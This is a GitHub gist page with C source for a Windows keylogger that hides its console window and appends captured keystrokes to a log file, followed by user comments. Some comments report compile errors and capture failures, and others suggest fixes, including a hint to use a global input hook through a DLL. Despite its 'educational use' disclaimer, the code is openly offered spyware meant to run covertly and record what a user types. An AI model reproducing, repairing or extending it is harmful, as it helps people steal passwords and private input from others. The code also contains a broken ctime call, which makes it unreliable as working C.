Skip to content

Instantly share code, notes, and snippets.

@patilswapnilv
Forked from Codeplaza/gist:7331068
Created November 6, 2013 16:04
Show Gist options
  • Save patilswapnilv/7338783 to your computer and use it in GitHub Desktop.
Save patilswapnilv/7338783 to your computer and use it in GitHub Desktop.
/*
Simple WINDOWS keylogger by jkrix 2013.
User may distribute and modify source code but MUST keep this top commented section in the source code!
Very important note:
To be used for educational use and not for malicious tasks!
I will NOT be held responsible for anything silly you may do with this!
*/
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <time.h>
#define PATH "C:/Users/Administrator/Desktop/test-log.txt" // The path to the log file
int main(){
char capture;
FILE *file;
// Time stuff.
time_t t;
t = time(NULL);
// Hide the window
HWND window;
AllocConsole();
window=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(window,0);
file = fopen(PATH, "a+");
fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
while(1)
{
Sleep(20); // To make sure this program doesn't steal all resources.
if (kbhit())
{
capture = getch();
// Just add in some helper strings here to the file, feel free to modify these to your needs.
switch ((int)capture){
case ' ': // Space key...obviously.
fprintf(file, " ");
break;
case 0x09: // Tab key.
fprintf(file, "[TAB]");
break;
case 0x0D: // Enter key.
fprintf(file, "[ENTER]");
break;
case 0x1B: // Escape key.
fprintf(file, "[ESC]");
break;
case 0x08: // Backspace key.
fprintf(file, "[BACKSPACE]");
break;
default:
fputc(capture,file); // Put any other inputted key into the file.
}
if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
fclose(file);
return 0;
}
}
}
}
@3v3ruiz
Copy link

3v3ruiz commented May 18, 2016

[warning ] passing argument 1 of 'ctime' from incompatible pointer type

@asmaamohamed89
Copy link

how do i can use Dwell time and flight time to each keystroke?

@mayank8005
Copy link

unable to stop this program once executed ......

@suvransu
Copy link

31 [Error] cannot convert 'time_t ()(time_t) {aka long long int ()(long long int)}' to 'const time_t* {aka const long long int_}' for argument '1' to 'char_ ctime(const time_t*)'

@Gaffeez
Copy link

Gaffeez commented Jul 12, 2016

well the control is not entering the if(Kbhit()) bloc, am not getting why???..Plzz explain...( and am running it in Dev c++)

@TheSparkMods
Copy link

Nothings being written to the file

@Iwannacodesohard
Copy link

"Nothings being written to the file"
Same here, I remade the log's Path, but it do not actually working, the log file stays empty.
Can someone explain it's reason to me?
Nice code, without any bug btw:)

@Gaffeez
Copy link

Gaffeez commented Jul 23, 2016

yes the control is not entering the if(kbhit()) block due to which nothing is being written into file...if we enter anything in the block like a message to print inside the block once it enters the it never prints the message..

@asitdhali
Copy link

not working

@NorbertoGil
Copy link

fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&t));

This should fix the error!
and don't forget to change the path of the file...

still it does not write anything in file... anyone else found the problem and want to help debugging?

@JDDeveloping
Copy link

Just looked at http://devdocs.io/c/io/fprintf which says that your fprintf function takes in 3 arguments: (stream, format, data to write) meaning your code might need another argument, making it fprintf(file, s, "[ENTER]"); when enter key is pressed. I don't know if the format argument is required

@TokenChingy
Copy link

The problem is the fact that you've hidden the window. If you hide the window on Windows, you essentially lose focus of that window and thus, the program is suspended. The keylogger here itself works fine as long as the window is in focus, the general logic is corrent just the implementation is not going to work for modern systems (SW_HIDE is a security risk and so processes which are in that state are suspended).

You will need to implement a global hook into the input events to listen for your key inputs. Hint: dynamic link library.

@massaynus
Copy link

i think this program needs to be in focus to work, but hiding it prevents that, so no matter what ou change in the code, if you don't fix that, you won't be able to get it to work...

@massaynus
Copy link

well the control is not entering the if(Kbhit()) bloc, am not getting why???..Plzz explain...( and am running it in Dev c++)

because the application in fact is not getting any input...

@Ferhato
Copy link

Ferhato commented Oct 8, 2022

"Nothings being written to the file" Same here, I remade the log's Path, but it do not actually working, the log file stays empty. Can someone explain it's reason to me? Nice code, without any bug btw:)

It is simply becouse the file never gets closed, therefore saved. I fixed this by adding this lines which save it for every 100 keys pressed, the original version of this code fixed that by adding an escape sequence when [esc] is pressed which also ended the code

if (a++ > 100) { a=0; fclose(file); file = fopen("LOG2.txt", "a+"); }

But even with this addition this code sample is still useless as it only saves letters directly inputted to the console.

@phionex-ha21
Copy link

unable to stop this program once executed ......

you can stop it in task manager

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment